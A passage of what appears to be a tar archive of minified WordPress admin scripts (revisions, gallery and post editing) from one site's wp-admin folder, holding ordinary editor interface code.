t,i=this.model.revisions.indexOf(i),s=this.$el.allOffsets(),o=this.$el.parent().allOffsets();i===this.model.revisions.length-1?t={rightPlusWidth:s.left-o.left+1,leftPlusWidth:s.right-o.right+1}:(t=(i=this.$("div:nth-of-type("+(i+1)+")")).allPositions(),_.extend(t,{left:t.left+s.left-o.left,right:t.right+s.right-o.right}),_.extend(t,{leftPlusWidth:t.left+i.outerWidth(),rightPlusWidth:t.right+i.outerWidth()})),this.model.set({offset:t})},ready:function(){var e=this.model.revisions.length-1,i=1/e;this.$el.css("width",50*this.model.revisions.length+"px"),_(e).times(function(e){this.$el.append('<div style="'+this.direction+": "+100*i*e+'%"></div>')},this)}}),s.view.Metabox=wp.Backbone.View.extend({className:"revisions-meta",initialize:function(){this.views.add(new s.view.MetaFrom({model:this.model,className:"diff-meta diff-meta-from"})),this.views.add(new s.view.MetaTo({model:this.model}))}}),s.view.Meta=wp.Backbone.View.extend({template:wp.template("revisions-meta"),events:{"click .restore-revision":"restoreRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.render)},prepare:function(){return _.extend(this.model.toJSON()[this.type]||{},{type:this.type})},restoreRevision:function(){document.location=this.model.get("to").attributes.restoreUrl}}),s.view.MetaFrom=s.view.Meta.extend({className:"diff-meta diff-meta-from",type:"from"}),s.view.MetaTo=s.view.Meta.extend({className:"diff-meta diff-meta-to",type:"to"}),s.view.Checkbox=wp.Backbone.View.extend({className:"revisions-checkbox",template:wp.template("revisions-checkbox"),events:{"click .compare-two-revisions":"compareTwoToggle"},initialize:function(){this.listenTo(this.model,"change:compareTwoMode",this.updateCompareTwoMode)},ready:function(){this.model.revisions.length<3&&a(".revision-toggle-compare-mode").hide()},updateCompareTwoMode:function(){this.$(".compare-two-revisions").prop("checked",this.model.get("compareTwoMode"))},compareTwoToggle:function(){this.model.set({compareTwoMode:a(".compare-two-revisions").prop("checked")})}}),s.view.Tooltip=wp.Backbone.View.extend({className:"revisions-tooltip",template:wp.template("revisions-meta"),initialize:function(){this.listenTo(this.model,"change:offset",this.render),this.listenTo(this.model,"change:hovering",this.toggleVisibility),this.listenTo(this.model,"change:scrubbing",this.toggleVisibility)},prepare:function(){if(!_.isNull(this.model.get("revision")))return _.extend({type:"tooltip"},{attributes:this.model.get("revision").toJSON()})},render:function(){var e,i={},t=.5<(this.model.revisions.indexOf(this.model.get("revision"))+1)/this.model.revisions.length,s=isRtl?(e=t?"left":"right",t?"leftPlusWidth":e):(e=t?"right":"left",t?"rightPlusWidth":e),o="right"===e?"left":"right";wp.Backbone.View.prototype.render.apply(this,arguments),i[e]=this.model.get("offset")[s]+"px",i[o]="",this.$el.toggleClass("flipped",t).css(i)},visible:function(){return this.model.get("scrubbing")||this.model.get("hovering")},toggleVisibility:function(){this.visible()?this.$el.stop().show().fadeTo(100-100*this.el.style.opacity,1):this.$el.stop().fadeTo(300*this.el.style.opacity,0,function(){a(this).hide()})}}),s.view.Buttons=wp.Backbone.View.extend({className:"revisions-buttons",template:wp.template("revisions-buttons"),events:{"click .revisions-next .button":"nextRevision","click .revisions-previous .button":"previousRevision"},initialize:function(){this.listenTo(this.model,"update:revisions",this.disabledButtonCheck)},ready:function(){this.disabledButtonCheck()},gotoModel:function(e){var i={to:this.model.revisions.at(e)};e?i.from=this.model.revisions.at(e-1):this.model.unset("from",{silent:!0}),this.model.set(i)},nextRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))+1;this.gotoModel(e)},previousRevision:function(){var e=this.model.revisions.indexOf(this.model.get("to"))-1;this.gotoModel(e)},disabledButtonCheck:function(){var e=this.model.revisions.length-1,i=a(".revisions-next .button"),t=a(".revisions-previous .button"),s=this.model.revisions.indexOf(this.model.get("to"));i.prop("disabled",e===s),t.prop("disabled",0===s)}}),s.view.Slider=wp.Backbone.View.extend({className:"wp-slider",direction:isRtl?"right":"left",events:{mousemove:"mouseMove"},initialize:function(){_.bindAll(this,"start","slide","stop","mouseMove","mouseEnter","mouseLeave"),this.listenTo(this.model,"update:slider",this.applySliderSettings)},ready:function(){this.$el.css("width",50*this.model.revisions.length+"px"),this.$el.slider(_.extend(this.model.toJSON(),{start:this.start,slide:this.slide,stop:this.stop})),this.$el.hoverIntent({over:this.mouseEnter,out:this.mouseLeave,timeout:800}),this.applySliderSettings()},mouseMove:function(e){var i=this.model.revisions.length-1,t=this.$el.allOffsets()[this.direction],i=this.$el.width()/i,e=(isRtl?a(window).width()-e.pageX:e.pageX)-t,t=Math.floor((e+i/2)/i);t<0?t=0:t>=this.model.revisions.length&&(t=this.model.revisions.length-1),this.model.set({hoveredRevision:this.model.revisions.at(t)})},mouseLeave:function(){this.model.set({hovering:!1})},mouseEnter:function(){this.model.set({hovering:!0})},applySliderSettings:function(){this.$el.slider(_.pick(this.model.toJSON(),"value","values","range"));var e=this.$("a.ui-slider-handle");this.model.get("compareTwoMode")?(e.first().toggleClass("to-handle",!!isRtl).toggleClass("from-handle",!isRtl),e.last().toggleClass("from-handle",!!isRtl).toggleClass("to-handle",!isRtl)):e.removeClass("from-handle to-handle")},start:function(e,d){this.model.set({scrubbing:!0}),a(window).on("mousemove.wp.revisions",{view:this},function(e){var i=e.data.view,t=i.$el.offset().left,s=t,o=t+i.$el.width(),n="0",r="100%",l=a(d.handle);i.model.get("compareTwoMode")&&(i=l.parent().find(".ui-slider-handle"),l.is(i.first())?r=(o=i.last().offset().left)-s:n=(t=i.first().offset().left+i.first().width())-s),e.pageX<t?l.css("left",n):e.pageX>o?l.css("left",r):l.css("left",e.pageX-s)})},getPosition:function(e){return isRtl?this.model.revisions.length-e-1:e},slide:function(e,i){var t;if(this.model.get("compareTwoMode")){if(i.values[1]===i.values[0])return!1;isRtl&&i.values.reverse(),t={from:this.model.revisions.at(this.getPosition(i.values[0])),to:this.model.revisions.at(this.getPosition(i.values[1]))}}else t={to:this.model.revisions.at(this.getPosition(i.value))},0<this.getPosition(i.value)?t.from=this.model.revisions.at(this.getPosition(i.value)-1):t.from=void 0;i=this.model.revisions.at(this.getPosition(i.value)),this.model.get("scrubbing")&&(t.hoveredRevision=i),this.model.set(t)},stop:function(){a(window).off("mousemove.wp.revisions"),this.model.updateSliderSettings(),this.model.set({scrubbing:!1})}}),s.view.Diff=wp.Backbone.View.extend({className:"revisions-diff",template:wp.template("revisions-diff"),prepare:function(){return _.extend({fields:this.model.fields.toJSON()},this.options)}}),s.Router=Backbone.Router.extend({initialize:function(e){this.model=e.model,this.listenTo(this.model,"update:diff",_.debounce(this.updateUrl,250)),this.listenTo(this.model,"change:compareTwoMode",this.updateUrl)},baseUrl:function(e){return this.model.get("baseUrl")+e},updateUrl:function(){var e=this.model.has("from")?this.model.get("from").id:0,i=this.model.get("to").id;this.model.get("compareTwoMode")?this.navigate(this.baseUrl("?from="+e+"&to="+i),{replace:!0}):this.navigate(this.baseUrl("?revision="+i),{replace:!0})},handleRoute:function(e,i){_.isUndefined(i)||(i=this.model.revisions.get(e),e=this.model.revisions.prev(i),i=i?i.id:0,e&&e.id)}}),s.init=function(){var e;window.adminpage&&"revision-php"===window.adminpage&&(e=new s.model.FrameState({initialDiffState:{to:parseInt(s.settings.to,10),from:parseInt(s.settings.from,10),compareTwoMode:"1"===s.settings.compareTwoMode},diffData:s.settings.diffData,baseUrl:s.settings.baseUrl,postId:parseInt(s.settings.postId,10)},{revisions:new s.model.Revisions(s.settings.revisionData)}),s.view.frame=new s.view.Frame({model:e}).render())},a(s.init)}(jQuery);gallery.min.js000064400000007235150276633100007335 0ustar00/*! This file is auto-generated */
jQuery(function(n){var o=!1,e=function(){n("#media-items").sortable({items:"div.media-item",placeholder:"sorthelper",axis:"y",distance:2,handle:"div.filename",stop:function(){var e=n("#media-items").sortable("toArray"),i=e.length;n.each(e,function(e,t){e=o?i-e:1+e;n("#"+t+" .menu_order input").val(e)})}})},t=function(){var e=n(".menu_order_input"),t=e.length;e.each(function(e){e=o?t-e:1+e;n(this).val(e)})},i=function(e){e=e||0,n(".menu_order_input").each(function(){"0"!==this.value&&!e||(this.value="")})};n("#asc").on("click",function(e){e.preventDefault(),o=!1,t()}),n("#desc").on("click",function(e){e.preventDefault(),o=!0,t()}),n("#clear").on("click",function(e){e.preventDefault(),i(1)}),n("#showall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").hide(),n("a.describe-toggle-off, table.slidetoggle").show(),n("img.pinkynail").toggle(!1)}),n("#hideall").on("click",function(e){e.preventDefault(),n("#sort-buttons span a").toggle(),n("a.describe-toggle-on").show(),n("a.describe-toggle-off, table.slidetoggle").hide(),n("img.pinkynail").toggle(!0)}),e(),i(),1<n("#media-items>*").length&&(e=wpgallery.getWin(),n("#save-all, #gallery-settings").show(),void 0!==e.tinyMCE&&e.tinyMCE.activeEditor&&!e.tinyMCE.activeEditor.isHidden()?(wpgallery.mcemode=!0,wpgallery.init()):n("#insert-gallery").show())}),window.tinymce=null,window.wpgallery={mcemode:!1,editor:{},dom:{},is_update:!1,el:{},I:function(e){return document.getElementById(e)},init:function(){var e,t,i,n,o=this,l=o.getWin();if(o.mcemode){for(e=(""+document.location.search).replace(/^\?/,"").split("&"),t={},i=0;i<e.length;i++)n=e[i].split("="),t[unescape(n[0])]=unescape(n[1]);t.mce_rdomain&&(document.domain=t.mce_rdomain),window.tinymce=l.tinymce,window.tinyMCE=l.tinyMCE,o.editor=tinymce.EditorManager.activeEditor,o.setup()}},getWin:function(){return window.dialogArguments||opener||parent||top},setup:function(){var e,t,i,n=this,o=n.editor;if(n.mcemode){if(n.el=o.selection.getNode(),"IMG"!==n.el.nodeName||!o.dom.hasClass(n.el,"wpGallery")){if(!(i=o.dom.select("img.wpGallery"))||!i[0])return"1"===getUserSetting("galfile")&&(n.I("linkto-file").checked="checked"),"1"===getUserSetting("galdesc")&&(n.I("order-desc").checked="checked"),getUserSetting("galcols")&&(n.I("columns").value=getUserSetting("galcols")),getUserSetting("galord")&&(n.I("orderby").value=getUserSetting("galord")),void jQuery("#insert-gallery").show();n.el=i[0]}i=o.dom.getAttrib(n.el,"title"),(i=o.dom.decode(i))?(jQuery("#update-gallery").show(),n.is_update=!0,o=i.match(/columns=['"]([0-9]+)['"]/),e=i.match(/link=['"]([^'"]+)['"]/i),t=i.match(/order=['"]([^'"]+)['"]/i),i=i.match(/orderby=['"]([^'"]+)['"]/i),e&&e[1]&&(n.I("linkto-file").checked="checked"),t&&t[1]&&(n.I("order-desc").checked="checked"),o&&o[1]&&(n.I("columns").value=""+o[1]),i&&i[1]&&(n.I("orderby").value=i[1])):jQuery("#insert-gallery").show()}},update:function(){var e=this,t=e.editor,i="";e.mcemode&&e.is_update?"IMG"===e.el.nodeName&&(i=(i=t.dom.decode(t.dom.getAttrib(e.el,"title"))).replace(/\s*(order|link|columns|orderby)=['"]([^'"]+)['"]/gi,""),i+=e.getSettings(),t.dom.setAttrib(e.el,"title",i),e.getWin().tb_remove()):(t="[gallery"+e.getSettings()+"]",e.getWin().send_to_editor(t))},getSettings:function(){var e=this.I,t="";return e("linkto-file").checked&&(t+=' link="file"',setUserSetting("galfile","1")),e("order-desc").checked&&(t+=' order="DESC"',setUserSetting("galdesc","1")),3!==e("columns").value&&(t+=' columns="'+e("columns").value+'"',setUserSetting("galcols",e("columns").value)),"menu_order"!==e("orderby").value&&(t+=' orderby="'+e("orderby").value+'"',setUserSetting("galord",e("orderby").value)),t}};post.min.js.tar000064400000051000150276633100007435 0ustar00home/natitnen/crestassured.com/wp-admin/js/post.min.js000064400000045164150264152420017050 0ustar00/*! This file is auto-generated */
window.makeSlugeditClickable=window.editPermalink=function(){},window.wp=window.wp||{},function(s){var t=!1,a=wp.i18n.__;window.commentsBox={st:0,get:function(t,e){var i=this.st;return this.st+=e=e||20,this.total=t,s("#commentsdiv .spinner").addClass("is-active"),t={action:"get-comments",mode:"single",_ajax_nonce:s("#add_comment_nonce").val(),p:s("#post_ID").val(),start:i,number:e},s.post(ajaxurl,t,function(t){t=wpAjax.parseAjaxResponse(t),s("#commentsdiv .widefat").show(),s("#commentsdiv .spinner").removeClass("is-active"),"object"==typeof t&&t.responses[0]?(s("#the-comment-list").append(t.responses[0].data),theList=theExtraList=null,s("a[className*=':']").off(),commentsBox.st>commentsBox.total?s("#show-comments").hide():s("#show-comments").show().children("a").text(a("Show more comments"))):1==t?s("#show-comments").text(a("No more comments found.")):s("#the-comment-list").append('<tr><td colspan="2">'+wpAjax.broken+"</td></tr>")}),!1},load:function(t){this.st=jQuery("#the-comment-list tr.comment:visible").length,this.get(t)}},window.WPSetThumbnailHTML=function(t){s(".inside","#postimagediv").html(t)},window.WPSetThumbnailID=function(t){var e=s('input[value="_thumbnail_id"]',"#list-table");0<e.length&&s("#meta\\["+e.attr("id").match(/[0-9]+/)+"\\]\\[value\\]").text(t)},window.WPRemoveThumbnail=function(t){s.post(ajaxurl,{action:"set-post-thumbnail",post_id:s("#post_ID").val(),thumbnail_id:-1,_ajax_nonce:t,cookie:encodeURIComponent(document.cookie)},function(t){"0"==t?alert(a("Could not set that as the thumbnail image. Try a different attachment.")):WPSetThumbnailHTML(t)})},s(document).on("heartbeat-send.refresh-lock",function(t,e){var i=s("#active_post_lock").val(),a=s("#post_ID").val(),n={};a&&s("#post-lock-dialog").length&&(n.post_id=a,i&&(n.lock=i),e["wp-refresh-post-lock"]=n)}).on("heartbeat-tick.refresh-lock",function(t,e){var i,a;e["wp-refresh-post-lock"]&&((e=e["wp-refresh-post-lock"]).lock_error?(i=s("#post-lock-dialog")).length&&!i.is(":visible")&&(wp.autosave&&(s(document).one("heartbeat-tick",function(){wp.autosave.server.suspend(),i.removeClass("saving").addClass("saved"),s(window).off("beforeunload.edit-post")}),i.addClass("saving"),wp.autosave.server.triggerSave()),e.lock_error.avatar_src&&(a=s("<img />",{class:"avatar avatar-64 photo",width:64,height:64,alt:"",src:e.lock_error.avatar_src,srcset:e.lock_error.avatar_src_2x?e.lock_error.avatar_src_2x+" 2x":void 0}),i.find("div.post-locked-avatar").empty().append(a)),i.show().find(".currently-editing").text(e.lock_error.text),i.find(".wp-tab-first").trigger("focus")):e.new_lock&&s("#active_post_lock").val(e.new_lock))}).on("before-autosave.update-post-slug",function(){t=document.activeElement&&"title"===document.activeElement.id}).on("after-autosave.update-post-slug",function(){s("#edit-slug-box > *").length||t||s.post(ajaxurl,{action:"sample-permalink",post_id:s("#post_ID").val(),new_title:s("#title").val(),samplepermalinknonce:s("#samplepermalinknonce").val()},function(t){"-1"!=t&&s("#edit-slug-box").html(t)})})}(jQuery),function(a){var n,t;function i(){n=!1,window.clearTimeout(t),t=window.setTimeout(function(){n=!0},3e5)}a(function(){i()}).on("heartbeat-send.wp-refresh-nonces",function(t,e){var i=a("#wp-auth-check-wrap");(n||i.length&&!i.hasClass("hidden"))&&(i=a("#post_ID").val())&&a("#_wpnonce").val()&&(e["wp-refresh-post-nonces"]={post_id:i})}).on("heartbeat-tick.wp-refresh-nonces",function(t,e){e=e["wp-refresh-post-nonces"];e&&(i(),e.replace&&a.each(e.replace,function(t,e){a("#"+t).val(e)}),e.heartbeatNonce)&&(window.heartbeatSettings.nonce=e.heartbeatNonce)})}(jQuery),jQuery(function(h){var p,e,i,a,n,s,o,l,r,t,c,d,u=h("#content"),f=h(document),v=h("#post_ID").val()||0,m=h("#submitpost"),g=!0,w=h("#post-visibility-select"),b=h("#timestampdiv"),k=h("#post-status-select"),_=!!window.navigator.platform&&-1!==window.navigator.platform.indexOf("Mac"),y=new ClipboardJS(".copy-attachment-url.edit-media"),x=wp.i18n.__,C=wp.i18n._x;function D(t){c.hasClass("wp-editor-expand")||(r?o.theme.resizeTo(null,l+t.pageY):u.height(Math.max(50,l+t.pageY)),t.preventDefault())}function j(){var t;c.hasClass("wp-editor-expand")||(t=r?(o.focus(),((t=parseInt(h("#wp-content-editor-container .mce-toolbar-grp").height(),10))<10||200<t)&&(t=30),parseInt(h("#content_ifr").css("height"),10)+t-28):(u.trigger("focus"),parseInt(u.css("height"),10)),f.off(".wp-editor-resize"),t&&50<t&&t<5e3&&setUserSetting("ed_size",t))}postboxes.add_postbox_toggles(pagenow),window.name="",h("#post-lock-dialog .notification-dialog").on("keydown",function(t){var e;9==t.which&&((e=h(t.target)).hasClass("wp-tab-first")&&t.shiftKey?(h(this).find(".wp-tab-last").trigger("focus"),t.preventDefault()):e.hasClass("wp-tab-last")&&!t.shiftKey&&(h(this).find(".wp-tab-first").trigger("focus"),t.preventDefault()))}).filter(":visible").find(".wp-tab-first").trigger("focus"),wp.heartbeat&&h("#post-lock-dialog").length&&wp.heartbeat.interval(15),i=m.find(":submit, a.submitdelete, #post-preview").on("click.edit-post",function(t){var e=h(this);e.hasClass("disabled")?t.preventDefault():e.hasClass("submitdelete")||e.is("#post-preview")||h("form#post").off("submit.edit-post").on("submit.edit-post",function(t){if(!t.isDefaultPrevented()){if(wp.autosave&&wp.autosave.server.suspend(),"undefined"!=typeof commentReply){if(!commentReply.discardCommentChanges())return!1;commentReply.close()}g=!1,h(window).off("beforeunload.edit-post"),i.addClass("disabled"),("publish"===e.attr("id")?m.find("#major-publishing-actions .spinner"):m.find("#minor-publishing .spinner")).addClass("is-active")}})}),h("#post-preview").on("click.post-preview",function(t){var e=h(this),i=h("form#post"),a=h("input#wp-preview"),n=e.attr("target")||"wp-preview",s=navigator.userAgent.toLowerCase();t.preventDefault(),e.hasClass("disabled")||(wp.autosave&&wp.autosave.server.tempBlockSave(),a.val("dopreview"),i.attr("target",n).trigger("submit").attr("target",""),-1!==s.indexOf("safari")&&-1===s.indexOf("chrome")&&i.attr("action",function(t,e){return e+"?t="+(new Date).getTime()}),a.val(""))}),h("#title").on("keydown.editor-focus",function(t){var e;if(9===t.keyCode&&!t.ctrlKey&&!t.altKey&&!t.shiftKey){if((e="undefined"!=typeof tinymce&&tinymce.get("content"))&&!e.isHidden())e.focus();else{if(!u.length)return;u.trigger("focus")}t.preventDefault()}}),h("#auto_draft").val()&&h("#title").on("blur",function(){var t;this.value&&!h("#edit-slug-box > *").length&&(h("form#post").one("submit",function(){t=!0}),window.setTimeout(function(){!t&&wp.autosave&&wp.autosave.server.triggerSave()},200))}),f.on("autosave-disable-buttons.edit-post",function(){i.addClass("disabled")}).on("autosave-enable-buttons.edit-post",function(){wp.heartbeat&&wp.heartbeat.hasConnectionError()||i.removeClass("disabled")}).on("before-autosave.edit-post",function(){h(".autosave-message").text(x("Saving Draft\u2026"))}).on("after-autosave.edit-post",function(t,e){h(".autosave-message").text(e.message),h(document.body).hasClass("post-new-php")&&h(".submitbox .submitdelete").show()}),h(window).on("beforeunload.edit-post",function(t){var e=window.tinymce&&window.tinymce.get("content"),i=!1;if(wp.autosave?i=wp.autosave.server.postChanged():e&&(i=!e.isHidden()&&e.isDirty()),i)return t.preventDefault(),x("The changes you made will be lost if you navigate away from this page.")}).on("pagehide.edit-post",function(t){if(g&&(!t.target||"#document"==t.target.nodeName)){var t=h("#post_ID").val(),e=h("#active_post_lock").val();if(t&&e){t={action:"wp-remove-post-lock",_wpnonce:h("#_wpnonce").val(),post_ID:t,active_post_lock:e};if(window.FormData&&window.navigator.sendBeacon){var i=new window.FormData;if(h.each(t,function(t,e){i.append(t,e)}),window.navigator.sendBeacon(ajaxurl,i))return}h.post({async:!1,data:t,url:ajaxurl})}}}),h("#tagsdiv-post_tag").length?window.tagBox&&window.tagBox.init():h(".meta-box-sortables").children("div.postbox").each(function(){if(0===this.id.indexOf("tagsdiv-"))return window.tagBox&&window.tagBox.init(),!1}),h(".categorydiv").each(function(){var t,a,e,i=h(this).attr("id").split("-");i.shift(),a=i.join("-"),e="category"==a?"cats":a+"_tab",h("a","#"+a+"-tabs").on("click",function(t){t.preventDefault();t=h(this).attr("href");h(this).parent().addClass("tabs").siblings("li").removeClass("tabs"),h("#"+a+"-tabs").siblings(".tabs-panel").hide(),h(t).show(),"#"+a+"-all"==t?deleteUserSetting(e):setUserSetting(e,"pop")}),getUserSetting(e)&&h('a[href="#'+a+'-pop"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).one("focus",function(){h(this).val("").removeClass("form-input-tip")}),h("#new"+a).on("keypress",function(t){13===t.keyCode&&(t.preventDefault(),h("#"+a+"-add-submit").trigger("click"))}),h("#"+a+"-add-submit").on("click",function(){h("#new"+a).trigger("focus")}),i=function(t){return!!h("#new"+a).val()&&(t.data+="&"+h(":checked","#"+a+"checklist").serialize(),h("#"+a+"-add-submit").prop("disabled",!0),t)},t=function(t,e){var i=h("#new"+a+"_parent");h("#"+a+"-add-submit").prop("disabled",!1),"undefined"!=e.parsed.responses[0]&&(e=e.parsed.responses[0].supplemental.newcat_parent)&&(i.before(e),i.remove())},h("#"+a+"checklist").wpList({alt:"",response:a+"-ajax-response",addBefore:i,addAfter:t}),h("#"+a+"-add-toggle").on("click",function(t){t.preventDefault(),h("#"+a+"-adder").toggleClass("wp-hidden-children"),h('a[href="#'+a+'-all"]',"#"+a+"-tabs").trigger("click"),h("#new"+a).trigger("focus")}),h("#"+a+"checklist, #"+a+"checklist-pop").on("click",'li.popular-category > label input[type="checkbox"]',function(){var t=h(this),e=t.is(":checked"),i=t.val();i&&t.parents("#taxonomy-"+a).length&&h("#in-"+a+"-"+i+", #in-popular-"+a+"-"+i).prop("checked",e)})}),h("#postcustom").length&&h("#the-list").wpList({addBefore:function(t){return t.data+="&post_id="+h("#post_ID").val(),t},addAfter:function(){h("table#list-table").show()}}),h("#submitdiv").length&&(p=h("#timestamp").html(),e=h("#post-visibility-display").html(),a=function(){"public"!=w.find("input:radio:checked").val()?(h("#sticky").prop("checked",!1),h("#sticky-span").hide()):h("#sticky-span").show(),"password"!=w.find("input:radio:checked").val()?h("#password-span").hide():h("#password-span").show()},n=function(){if(b.length){var t,e=h("#post_status"),i=h('option[value="publish"]',e),a=h("#aa").val(),n=h("#mm").val(),s=h("#jj").val(),o=h("#hh").val(),l=h("#mn").val(),r=new Date(a,n-1,s,o,l),c=new Date(h("#hidden_aa").val(),h("#hidden_mm").val()-1,h("#hidden_jj").val(),h("#hidden_hh").val(),h("#hidden_mn").val()),d=new Date(h("#cur_aa").val(),h("#cur_mm").val()-1,h("#cur_jj").val(),h("#cur_hh").val(),h("#cur_mn").val());if(r.getFullYear()!=a||1+r.getMonth()!=n||r.getDate()!=s||r.getMinutes()!=l)return b.find(".timestamp-wrap").addClass("form-invalid"),!1;b.find(".timestamp-wrap").removeClass("form-invalid"),d<r?(t=x("Schedule for:"),h("#publish").val(C("Schedule","post action/button label"))):r<=d&&"publish"!=h("#original_post_status").val()?(t=x("Publish on:"),h("#publish").val(x("Publish"))):(t=x("Published on:"),h("#publish").val(x("Update"))),c.toUTCString()==r.toUTCString()?h("#timestamp").html(p):h("#timestamp").html("\n"+t+" <b>"+x("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",h('option[value="'+n+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(s,10)).replace("%3$s",a).replace("%4$s",("00"+o).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),"private"==w.find("input:radio:checked").val()?(h("#publish").val(x("Update")),0===i.length?e.append('<option value="publish">'+x("Privately Published")+"</option>"):i.html(x("Privately Published")),h('option[value="publish"]',e).prop("selected",!0),h("#misc-publishing-actions .edit-post-status").hide()):("future"==h("#original_post_status").val()||"draft"==h("#original_post_status").val()?i.length&&(i.remove(),e.val(h("#hidden_post_status").val())):i.html(x("Published")),e.is(":hidden")&&h("#misc-publishing-actions .edit-post-status").show()),h("#post-status-display").text(wp.sanitize.stripTagsAndEncodeText(h("option:selected",e).text())),"private"==h("option:selected",e).val()||"publish"==h("option:selected",e).val()?h("#save-post").hide():(h("#save-post").show(),"pending"==h("option:selected",e).val()?h("#save-post").show().val(x("Save as Pending")):h("#save-post").show().val(x("Save Draft")))}return!0},h("#visibility .edit-visibility").on("click",function(t){t.preventDefault(),w.is(":hidden")&&(a(),w.slideDown("fast",function(){w.find('input[type="radio"]').first().trigger("focus")}),h(this).hide())}),w.find(".cancel-post-visibility").on("click",function(t){w.slideUp("fast"),h("#visibility-radio-"+h("#hidden-post-visibility").val()).prop("checked",!0),h("#post_password").val(h("#hidden-post-password").val()),h("#sticky").prop("checked",h("#hidden-post-sticky").prop("checked")),h("#post-visibility-display").html(e),h("#visibility .edit-visibility").show().trigger("focus"),n(),t.preventDefault()}),w.find(".save-post-visibility").on("click",function(t){var e="",i=w.find("input:radio:checked").val();switch(w.slideUp("fast"),h("#visibility .edit-visibility").show().trigger("focus"),n(),"public"!==i&&h("#sticky").prop("checked",!1),i){case"public":e=h("#sticky").prop("checked")?x("Public, Sticky"):x("Public");break;case"private":e=x("Private");break;case"password":e=x("Password Protected")}h("#post-visibility-display").text(e),t.preventDefault()}),w.find("input:radio").on("change",function(){a()}),b.siblings("a.edit-timestamp").on("click",function(t){b.is(":hidden")&&(b.slideDown("fast",function(){h("input, select",b.find(".timestamp-wrap")).first().trigger("focus")}),h(this).hide()),t.preventDefault()}),b.find(".cancel-timestamp").on("click",function(t){b.slideUp("fast").siblings("a.edit-timestamp").show().trigger("focus"),h("#mm").val(h("#hidden_mm").val()),h("#jj").val(h("#hidden_jj").val()),h("#aa").val(h("#hidden_aa").val()),h("#hh").val(h("#hidden_hh").val()),h("#mn").val(h("#hidden_mn").val()),n(),t.preventDefault()}),b.find(".save-timestamp").on("click",function(t){n()&&(b.slideUp("fast"),b.siblings("a.edit-timestamp").show().trigger("focus")),t.preventDefault()}),h("#post").on("submit",function(t){n()||(t.preventDefault(),b.show(),wp.autosave&&wp.autosave.enableButtons(),h("#publishing-action .spinner").removeClass("is-active"))}),k.siblings("a.edit-post-status").on("click",function(t){k.is(":hidden")&&(k.slideDown("fast",function(){k.find("select").trigger("focus")}),h(this).hide()),t.preventDefault()}),k.find(".save-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),n(),t.preventDefault()}),k.find(".cancel-post-status").on("click",function(t){k.slideUp("fast").siblings("a.edit-post-status").show().trigger("focus"),h("#post_status").val(h("#hidden_post_status").val()),n(),t.preventDefault()})),h("#titlediv").on("click",".edit-slug",function(){var t,e,a,i,n=0,s=h("#post_name"),o=s.val(),l=h("#sample-permalink"),r=l.html(),c=h("#sample-permalink a").html(),d=h("#edit-slug-buttons"),p=d.html(),u=h("#editable-post-name-full");for(u.find("img").replaceWith(function(){return this.alt}),u=u.html(),l.html(c),a=h("#editable-post-name"),i=a.html(),d.html('<button type="button" class="save button button-small">'+x("OK")+'</button> <button type="button" class="cancel button-link">'+x("Cancel")+"</button>"),d.children(".save").on("click",function(){var i=a.children("input").val();i==h("#editable-post-name-full").text()?d.children(".cancel").trigger("click"):h.post(ajaxurl,{action:"sample-permalink",post_id:v,new_slug:i,new_title:h("#title").val(),samplepermalinknonce:h("#samplepermalinknonce").val()},function(t){var e=h("#edit-slug-box");e.html(t),e.hasClass("hidden")&&e.fadeIn("fast",function(){e.removeClass("hidden")}),d.html(p),l.html(r),s.val(i),h(".edit-slug").trigger("focus"),wp.a11y.speak(x("Permalink saved"))})}),d.children(".cancel").on("click",function(){h("#view-post-btn").show(),a.html(i),d.html(p),l.html(r),s.val(o),h(".edit-slug").trigger("focus")}),t=0;t<u.length;++t)"%"==u.charAt(t)&&n++;c=n>u.length/4?"":u,e=x("URL Slug"),a.html('<label for="new-post-slug" class="screen-reader-text">'+e+'</label><input type="text" id="new-post-slug" value="'+c+'" autocomplete="off" spellcheck="false" />').children("input").on("keydown",function(t){var e=t.which;13===e&&(t.preventDefault(),d.children(".save").trigger("click")),27===e&&d.children(".cancel").trigger("click")}).on("keyup",function(){s.val(this.value)}).trigger("focus")}),window.wptitlehint=function(t){var e=h("#"+(t=t||"title")),i=h("#"+t+"-prompt-text");""===e.val()&&i.removeClass("screen-reader-text"),e.on("input",function(){""===this.value?i.removeClass("screen-reader-text"):i.addClass("screen-reader-text")})},wptitlehint(),t=h("#post-status-info"),c=h("#postdivrich"),!u.length||"ontouchstart"in window?h("#content-resize-handle").hide():t.on("mousedown.wp-editor-resize",function(t){(o="undefined"!=typeof tinymce?tinymce.get("content"):o)&&!o.isHidden()?(r=!0,l=h("#content_ifr").height()-t.pageY):(r=!1,l=u.height()-t.pageY,u.trigger("blur")),f.on("mousemove.wp-editor-resize",D).on("mouseup.wp-editor-resize mouseleave.wp-editor-resize",j),t.preventDefault()}).on("mouseup.wp-editor-resize",j),"undefined"!=typeof tinymce&&(h("#post-formats-select input.post-format").on("change.set-editor-class",function(){var t,e,i=this.id;i&&h(this).prop("checked")&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpost-format-[^ ]+/,""),t.dom.addClass(e,"post-format-0"==i?"post-format-standard":i),h(document).trigger("editor-classchange"))}),h("#page_template").on("change.set-editor-class",function(){var t,e,i=h(this).val()||"";(i=i.substr(i.lastIndexOf("/")+1,i.length).replace(/\.php$/,"").replace(/\./g,"-"))&&(t=tinymce.get("content"))&&((e=t.getBody()).className=e.className.replace(/\bpage-template-[^ ]+/,""),t.dom.addClass(e,"page-template-"+i),h(document).trigger("editor-classchange"))})),u.on("keydown.wp-autosave",function(t){83!==t.which||t.shiftKey||t.altKey||_&&(!t.metaKey||t.ctrlKey)||!_&&!t.ctrlKey||(wp.autosave&&wp.autosave.server.triggerSave(),t.preventDefault())}),"auto-draft"===h("#original_post_status").val()&&window.history.replaceState&&h("#publish").on("click",function(){d=(d=window.location.href)+(-1!==d.indexOf("?")?"&":"?")+"wp-post-new-reload=true",window.history.replaceState(null,null,d)}),y.on("success",function(t){var 